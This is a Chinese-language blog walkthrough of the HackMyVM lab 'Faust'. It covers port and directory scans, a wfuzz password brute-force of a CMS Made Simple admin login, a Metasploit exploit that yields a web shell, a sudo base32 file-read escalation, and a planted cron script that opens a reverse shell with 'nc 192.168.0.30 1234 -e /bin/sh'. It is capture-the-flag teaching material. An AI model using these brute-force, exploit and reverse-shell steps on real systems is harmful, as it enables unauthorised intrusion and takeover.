HMV Faust
Todd

信息收集

NAMP 扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
IP=192.168.0.129
nmap $IP -p- -sV -A
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 04:16 EDT
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 0 undergoing Script Pre-Scan
NSE Timing: About 0.00% done
Nmap scan report for express.nyx (192.168.0.129)
Host is up (0.00049s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 54:0a:75:c5:26:56:f5:b0:5f:6d:e1:e0:77:15:c7:0d (RSA)
| 256 0b:d7:89:52:2d:13:16:cb:74:96:f5:5f:dd:3e:52:8e (ECDSA)
|_ 256 5a:90:0c:f5:2b:7f:ba:1c:83:02:4d:e7:a2:a2:1d:5b (ED25519)
53/tcp filtered domain
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Home - cool_cms
|_http-generator: CMS Made Simple - Copyright (C) 2004-2021. All rights reserved.
6660/tcp open unknown
| fingerprint-strings:
| NULL, Socks5:
| MESSAGE FOR WWW-DATA:
| [31m www-data I offer you a dilemma: if you agree to destroy all your stupid work, then you have a reward in my house...
|_ Paul
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6660-TCP:V=7.94SVN%I=7%D=4/24%Time=6809F375%P=x86_64-pc-linux-gnu%r
SF:(NULL,A5,"\n\n\x20\x20\x20MESSAGE\x20FOR\x20WWW-DATA:\n\n\x20\x1b\[31m\
SF:x20\x20www-data\x20I\x20offer\x20you\x20a\x20dilemma:\x20if\x20you\x20a
SF:gree\x20to\x20destroy\x20all\x20your\x20stupid\x20work,\x20then\x20you\
SF:x20have\x20a\x20reward\x20in\x20my\x20house\.\.\.\n\x20\x20\x20Paul\x20
SF:\x1b\[0m\n")%r(Socks5,A5,"\n\n\x20\x20\x20MESSAGE\x20FOR\x20WWW-DATA:\n
SF:\n\x20\x1b\[31m\x20\x20www-data\x20I\x20offer\x20you\x20a\x20dilemma:\x
SF:20if\x20you\x20agree\x20to\x20destroy\x20all\x20your\x20stupid\x20work,
SF:\x20then\x20you\x20have\x20a\x20reward\x20in\x20my\x20house\.\.\.\n\x20
SF:\x20\x20Paul\x20\x1b\[0m\n");
MAC Address: 08:00:27:D3:B6:08 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.49 ms express.nyx (192.168.0.129)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.97 seconds

路径扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
dirb http://$IP

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Apr 24 03:29:44 2025
URL_BASE: http://192.168.0.129/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.0.129/ ----
==> DIRECTORY: http://192.168.0.129/admin/
==> DIRECTORY: http://192.168.0.129/assets/
==> DIRECTORY: http://192.168.0.129/doc/
+ http://192.168.0.129/index.php (CODE:200|SIZE:19427)
==> DIRECTORY: http://192.168.0.129/lib/
==> DIRECTORY: http://192.168.0.129/modules/
+ http://192.168.0.129/server-status (CODE:403|SIZE:278)
==> DIRECTORY: http://192.168.0.129/tmp/
==> DIRECTORY: http://192.168.0.129/uploads/

---- Entering directory: http://192.168.0.129/admin/ ----
+ http://192.168.0.129/admin/index.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.0.129/admin/lang/
==> DIRECTORY: http://192.168.0.129/admin/plugins/
==> DIRECTORY: http://192.168.0.129/admin/templates/
==> DIRECTORY: http://192.168.0.129/admin/themes/

---- Entering directory: http://192.168.0.129/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.0.129/doc/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.0.129/lib/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.0.129/modules/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.0.129/tmp/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.0.129/uploads/ ----
==> DIRECTORY: http://192.168.0.129/uploads/images/
+ http://192.168.0.129/uploads/index (CODE:200|SIZE:0)
+ http://192.168.0.129/uploads/index.html (CODE:200|SIZE:0)

---- Entering directory: http://192.168.0.129/admin/lang/ ----
+ http://192.168.0.129/admin/lang/index (CODE:200|SIZE:24)
+ http://192.168.0.129/admin/lang/index.html (CODE:200|SIZE:24)
+ http://192.168.0.129/admin/lang/sort (CODE:200|SIZE:355)

---- Entering directory: http://192.168.0.129/admin/plugins/ ----
+ http://192.168.0.129/admin/plugins/index (CODE:200|SIZE:24)
+ http://192.168.0.129/admin/plugins/index.html (CODE:200|SIZE:24)

---- Entering directory: http://192.168.0.129/admin/templates/ ----
+ http://192.168.0.129/admin/templates/index (CODE:200|SIZE:24)
+ http://192.168.0.129/admin/templates/index.html (CODE:200|SIZE:24)

---- Entering directory: http://192.168.0.129/admin/themes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://192.168.0.129/uploads/images/ ----
+ http://192.168.0.129/uploads/images/index (CODE:200|SIZE:0)
+ http://192.168.0.129/uploads/images/index.html (CODE:200|SIZE:0)

-----------------
END_TIME: Thu Apr 24 03:30:00 2025
DOWNLOADED: 32284 - FOUND: 14

顺道看了一眼页面,是一个 CMS ,叫 CMS Made Simple™ 有也也有版本是 CMS Made Simple version 2.2.5 。 CMS 的地址是 https://www.cmsmadesimple.org/

直接去 exploit-db 搜索 CMS Made Simple ,发现一个漏洞: https://www.exploit-db.com/exploits/51600 针对v2.2.17 看起来应该可行。
不过看起来,是需要一个账号密码的。 在 HackBar 看下包结构,是一个简单的 POST ,先不管三七二十一跑一波爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
wfuzz -c -w /usr/share/wordlists/rockyou.txt -d "loginsubmit=Submit&password=FUZZ&username=admin" --hw 281  http://$IP/admin/login.php

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://192.168.0.129/admin/login.php
Total requests: 14344392

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000001009: 302 0 L 0 W 0 Ch "bullshit"
000001960: 200 81 L 281 W 4601 Ch "freckles"

Total time: 34.09296
Processed Requests: 1959
Filtered Requests: 1958

还没来得及看别的,已经看到密码了。

登录之后,看了下 exploit-db 的利用脚本,就是给 /admin/moduleinterface.php 这个 url 上传一个 file,然后带上一个 data 数据。 msfconsole 试试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
msfconsole
search CmsMadeSimple
use 1
options

PASSWORD bullshit yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.0.129 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base cmsms directory path
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host

run
shell
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

python -c 'import pty; pty.spawn("/bin/bash")'

拿到 webshell。

提权 User

看下进程发现:

1
2
3
4
5
6
7
ps aux

paul 396 0.0 0.0 2388 756 ? Ss 09:23 0:00 /bin/sh -c bash /home/paul/.local/chaos.sh
paul 425 0.0 0.1 6644 3104 ? S 09:23 0:01 bash /home/paul/.local/chaos.sh
paul 426 0.0 0.1 6644 2988 ? S 09:23 0:00 bash /home/paul/.local/msg.sh
paul 431 0.0 0.0 2372 1724 ? S 09:23 0:00 nc -vlnp 6660

这个时候才想起来,nmap 也扫出来了 6660 端口,当时还有一句神奇的话,还没去管:

1
2
3
4
5
6
6660/tcp open     unknown
| fingerprint-strings:
| NULL, Socks5:
| MESSAGE FOR WWW-DATA:
| [31m www-data I offer you a dilemma: if you agree to destroy all your stupid work, then you have a reward in my house...
|_ Paul

我给你出个两难的选择:如果你同意毁掉你所有那些愚蠢的作品,那你可以到我家来领一份奖赏……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
paul:x:1001:1001:,,,:/home/paul:/bin/bash
nico:x:1000:1000:,,,:/home/nico:/bin/bash

可以看到 paul 和 nico 都是有可能突破的。

同时也发现了 MYSQL 的服务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
www-data@debian:/var/www/html$ cat config.php
cat config.php
<?php
# CMS Made Simple Configuration File
# Documentation: https://docs.cmsmadesimple.org/configuration/config-file/config-reference
#
$config['dbms'] = 'mysqli';
$config['db_hostname'] = 'localhost';
$config['db_username'] = 'cms_user';
$config['db_password'] = 'UltraSecurePassword';
$config['db_name'] = 'cms_db';
$config['db_prefix'] = 'cms_';
$config['timezone'] = 'Europe/Berlin';

看了下 也没看到特别有用的信息。

去看了下 paul 和 nico 的目录,因为有权限限制,并没有什么有用的信息。 所以 paul 说的 去他家领奖赏,我需要 destroy all your stupid work
想了半天,翻了 WP,乖乖,是让我删 www 目录啊。

1
www-data@debian:/var/www/html$ rm -rf *

然后去他家

1
2
3
4
5
6
7
8
9
10
11
12
www-data@debian:/home/paul$ ls -al
ls -al
total 32
drwxr-xr-x 3 paul paul 4096 Apr 24 10:37 .
drwxr-xr-x 4 root root 4096 Apr 1 2021 ..
lrwxrwxrwx 1 root root 9 Apr 1 2021 .bash_history -> /dev/null
-rw-r--r-- 1 paul paul 220 Apr 1 2021 .bash_logout
-rw-r--r-- 1 paul paul 3526 Apr 1 2021 .bashrc
drwx------ 3 paul paul 4096 Apr 6 2021 .local
-rw-r--r-- 1 paul paul 807 Apr 1 2021 .profile
-rw-r--r-- 1 paul paul 66 Apr 1 2021 .selected_editor
-rw-r--r-- 1 paul paul 30 Apr 24 10:38 password.txt

多了一个 password.txt 文件,打开一看,是 paul 的密码。

1
2
3
4
5
www-data@debian:/home/paul$ cat password.txt
www-data@debian:/home/paul$ cat password.txt
cat password.txt
Password is: YouCanBecomePaul

ssh 上去:

1
2
3
ssh [email protected]
paul@debian:~$ id
uid=1001(paul) gid=1001(paul) groupes=1001(paul)

拿到了 paul 的权限。检查下.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
paul@debian:~/.local$ cat *
#!/bin/bash
while true
do
path=$(ls -A '/var/www/html')
if [[ ! -z "$path" ]]; then
sleep 1
else
echo "Password is: YouCanBecomePaul" > /home/paul/password.txt
fi
done


while true ; do echo -e "\n\n MESSAGE FOR WWW-DATA:\n\n \033[31m www-data I offer you a dilemma: if you agree to destroy all your stupid work, then you have a reward in my house...\n Paul \033[0m" |nc -vlnp 6660 ; done
cat: share: est un dossier


paul@debian:~$ sudo -l
[sudo] Mot de passe de paul :
Entrées par défaut pour paul sur debian :
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

L'utilisateur paul peut utiliser les commandes suivantes sur debian :
(nico) /usr/bin/base32

可以看到Paul 可以用 nico 的身份执行 /usr/bin/base32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
paul@debian:~$ sudo -u nico /usr/bin/base32 --help
Utilisation : /usr/bin/base32 [OPTION]... [FICHIER]
Encoder ou décoder le FICHIER ou l'entrée standard en base32, vers la
sortie standard.

Sans FICHIER ou quand FICHIER est -, lire l'entrée standard.

Les arguments obligatoires pour les options longues le sont aussi pour les
options courtes.
-d, --decode décoder les données
-i, --ignore-garbage lors du décodage, ignorer les caractères non
alphabétiques
-w, --wrap=COLS effectuer la césure des lignes après COLS caractères
(76 par défaut). Utilisez 0 pour désactiver la césure

--help afficher l'aide et quitter
--version afficher des informations de version et quitter

Les données sont codées comme décrit pour l'alphabet base32 dans la RFC 4648.
Lors du décodage, l'entrée peut contenir des sauts de lignes en plus des
octets de l'alphabet base32 formel. Utilisez --ignore-garbage pour tenter de
récupérer tout autre octet non alphabétique dans le flux codé.

Aide en ligne de GNU coreutils : <https://www.gnu.org/software/coreutils/>
Signalez les problèmes de traduction de « base32 » à : <[email protected]>
Documentation complète à : <https://www.gnu.org/software/coreutils/base32>
ou disponible localement via: info '(coreutils) base32 invocation'

翻译一下:

1
2
3
4
5
6
7
8
9
10
11
用法:/usr/bin/base32 [选项]... [文件]
对文件或标准输入进行 base32 编码或解码,输出到标准输出。
如果没有指定文件,或者文件为 “-”,则读取标准输入。
对于长选项所必需的参数,对于短选项也是必需的。
-d, --decode 解码数据
-i, --ignore-garbage 在解码时,忽略非字母字符
-w, --wrap=COLS 每 COLS 个字符后换行(默认 76 个字符)。使用 0 可禁用换行
--help 显示帮助信息并退出
--version 显示版本信息并退出
数据按照 RFC 4648 中对 base32 字母表的描述进行编码。
在解码时,输入除了正式的 base32 字母表中的字节外,还可以包含换行符。使用 --ignore-garbage 尝试从编码流中恢复任何其他非字母字节。

看一下 nico 的目录:

1
2
3
4
5
6
7
8
9
10
11
12
paul@debian:/home/nico$ ls -al
total 32
drwxr-xr-x 3 nico nico 4096 avril 1 2021 .
drwxr-xr-x 4 root root 4096 avril 1 2021 ..
lrwxrwxrwx 1 root root 9 avril 1 2021 .bash_history -> /dev/null
-rw-r--r-- 1 nico nico 220 avril 1 2021 .bash_logout
-rw-r--r-- 1 nico nico 3526 avril 1 2021 .bashrc
drwxr-xr-x 3 nico nico 4096 avril 1 2021 .local
-rw-r--r-- 1 nico nico 807 avril 1 2021 .profile
-rwx------ 1 nico nico 37 avril 1 2021 .secret.txt
-rwx------ 1 nico nico 11 avril 1 2021 user.txtFrom Base64

那我可以读一下 .secret.txt 试试:

1
2
3
paul@debian:/home/nico$ sudo -u nico /usr/bin/base32 /home/nico/.secret.txt
KVEGGZ2QKQ2GOYLOKZ5GIRRZOZRG2VTGMJLTS6K2KY4WSWSXKZ4USQJ5HUFA====

CyberChef 上查下:
解开 base32 后 还像一个base 编码,于是又加一个 base 64 得到:

1
Pw => just_one_more_beer 

ssh 上去试试:

1
2
3
ssh [email protected]
nico@debian:~$ id
uid=1000(nico) gid=1000(nico) groupes=1000(nico)

拿到 nico 的权限。

提权 root

1
2
3
nico@debian:~$ sudo -l
[sudo] Mot de passe de nico :
Désolé, l'utilisateur nico ne peut pas utiliser sudo sur debian.

似乎不是这条路。 上一个 linpeas.sh ,有几个之前没发现的异常点:

1
2
3
4
5
6
7
╔══════════╣ Unexpected in root
/vmlinuz.old
/initrd.img.old
/nico
/initrd.img
/vmlinuz

根目录竟然有一个 /nico,看看:

1
2
3
4
5
nico@debian:/nico$ ls -al
total 56
drwx------ 2 nico nico 4096 avril 1 2021 .
drwxr-xr-x 19 root root 4096 avril 1 2021 ..
-rwxrwx--- 1 nico root 47162 avril 1 2021 homer.jpg

还是个图片。

跑 linpeas.sh 的时候,干掉 paul 的进程,跑一下 pspy64 ,发现有一个 root:

1
2025/04/24 11:03:01 CMD: UID=0     PID=22657  | /bin/sh -c /tmp/goodgame 

但是实际上 /tmp/ 并没有这个文件,那么我加一个反弹?

1
2
3
vi /tmp/goodgame

nc 192.168.0.30 1234 -e /bin/sh &
1
2
3
(remote) root@debian:/root# id
uid=0(root) gid=0(root) groupes=0(root)

完结撒花,🎉

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 87.9k 访客数 访问量